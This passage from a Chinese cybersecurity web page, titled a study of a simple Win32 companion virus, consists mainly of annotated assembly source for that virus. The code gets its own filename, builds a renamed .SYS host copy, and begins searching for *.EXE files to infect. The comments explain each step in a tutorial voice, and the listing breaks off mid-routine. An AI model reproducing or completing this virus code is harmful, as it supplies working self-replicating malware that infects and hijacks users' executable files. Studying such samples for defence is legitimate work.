网络安全 频道

对简单Win32伴侣病毒的研究

; 这是 Win32 Find data:

; 这里保存关于目标文件的所有数据

; 我们仅仅对包含目标文件的名称的"WFD_szFileName"

; 记住我们必须复制目标文件成另外一个文件名,

; 而把病毒复制成目标文件最先的文件名

;+++++





VirusFile  db 260d dup (0)

HostFile  db 260d dup (0)

HostCopy  db 260d dup (0)



;+++++

; 这里创建文件名的空间:病毒文件名,宿主文件名,

; 还有我们必须创建的文件名(从目标文件复制)

;+++++





FileMask  db ’*.EXE’,0

FindHandle  dd 0

ProcessInfo  dd 4 dup (0)

StartupInfo  dd 4 dup (0)



;+++++

; 包含我们必须搜索的文件

; FileHandle 包含搜索的文件的句柄 (FindNextFileA)

; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要)

;+++++





.code

start:



;+++++

; ROCK ’N ROLL =)

;+++++





call GetCommandLineA



;+++++

; 这里我们获取包含正在运行的程序文件名的CommandLine

; (病毒文件 :). 现在,line 在eax了, 看下一步...

;+++++





inc eax     ; **** da "

push eax

push offset VirusFile

call lstrcpyA    ;复制它



;+++++

; 为什么要’inc eax’???

; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 ")

; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方

; 它从eax复制到VirusFile

;+++++





mov esi,offset VirusFile  ;now in esi

call GetPoint    ;call a kewl procedure ;)



;+++++

; we must find da point to **** the other "

; 让我们看看...

;+++++





mov dword ptr [esi+4],00000000d  ;清除它



;+++++

; 我们走到.EXE后面并清除"号

; ->现在我们得到完整funcional VirusFile

;+++++





push offset VirusFile

push offset HostFile

call lstrcpyA



;+++++

; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS)

; ...

;+++++





mov esi,offset HostFile

call GetPoint



;+++++

; 得到指针...

;+++++





mov dword ptr [esi],5359532Eh  ;5359532Eh = ’SYS.’



;+++++

; 把它重命名为 .SYS (last 4 letters with point)

; 现在我们得到HostFile, 可能运行宿主...

; ...但是等等! 我们必须感染文件!!!

;+++++





push offset WIN32_FIND_DATA

push offset FileMask

call FindFirstFileA

mov dword ptr [FindHandle],eax  ;保存句柄



;+++++

; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看...

; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它...

;+++++

0
相关文章